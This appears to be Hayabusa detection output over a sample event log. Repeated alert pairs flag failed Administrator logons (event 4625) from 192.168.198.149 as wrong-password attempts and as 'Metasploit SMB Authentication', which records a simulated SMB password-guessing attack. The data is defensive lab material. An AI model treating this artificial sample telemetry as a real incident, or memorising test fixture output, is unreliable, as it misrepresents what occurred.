Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V0i93RW5AOsIKKMU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.817 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.875 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U3XEu06vE68O900O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.875 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.925 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0fxeGE2jXOnoJttj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.925 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.969 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6Wdg3l6IFHTdh09j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.969 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.028 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4XLVQRnkUd3bfgvF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.028 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rHjqFQwqpCJFI6qP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.080 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.139 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L5pEWq2mYsFpFLbb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.139 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HSFKJXTC2wlyw0gu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.184 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vh5igCJpAA5rmqzV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.225 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5NzLlJWkfXDcm64c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.260 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i9sR1QHgZ4oaa82F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.309 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.340 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pq1GWcKzSHSP28hk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.340 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: agCtM0s62zXPop0y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.388 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.430 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dVvglj7RtxrBUeXi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.430 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.482 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pMbS0sIpbFDqJvMW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.482 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ldO0cAZ54BRHHDyz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.525 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.577 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OmJH2QWFPiYarKh5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.577 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5fCiyHtI0OTo8pBO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.620 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.664 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e3vkVuU43tsYHUSj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.664 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.714 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3w21sFOu2u7FTDZM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.714 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.756 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bk7eaqQNK1CEgqoj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.756 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.792 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Rv5joLgkm3QUYPyb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.792 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4l15usDM7jggwEyw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.841 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.887 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p9QpOvgDmiOgzQqb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.887 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.935 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dqyr8tb9TrO1aJNe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.935 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.985 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hI1bzjixP8eOdDbw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.985 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.032 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pMTAp20wXS3d1OCk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.032 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.078 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qrQGfxInmlgPqGtd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.078 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZcsMMQbsnUdyLJWi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.128 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.224 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8oRYZqBBsq9GyApI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.224 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0TAhib6p8fY5iOgI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.256 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.306 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FerGHj9abOe6ehZn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.306 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.362 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kN4B4KLpXbyKZzGv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.362 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HJtoyRfP38T3KToO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.417 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rkI5hLApUWhGnKIs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.457 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZCPSO4JLjMur2Eow : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.484 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VHmrv2xFuq7TyIQN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.532 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8SqYq3msNfFh24lg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YE0a2Bypzc1MMdGn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.624 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.670 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ojgIg88VK6hB72PI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.670 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ehLrf2GoAhY3Rf7Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.712 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ccfgpjwpis15B4gY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.752 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vysSf3DsOxQf5fVd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IEp88cEeiNw4IQsm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.832 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.876 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5PXDJPzw0gPdlCiH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.876 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mwoe9IgWx2UZ7Iuu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.918 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3eW0nFDUwKFzoQIw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:58.956 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 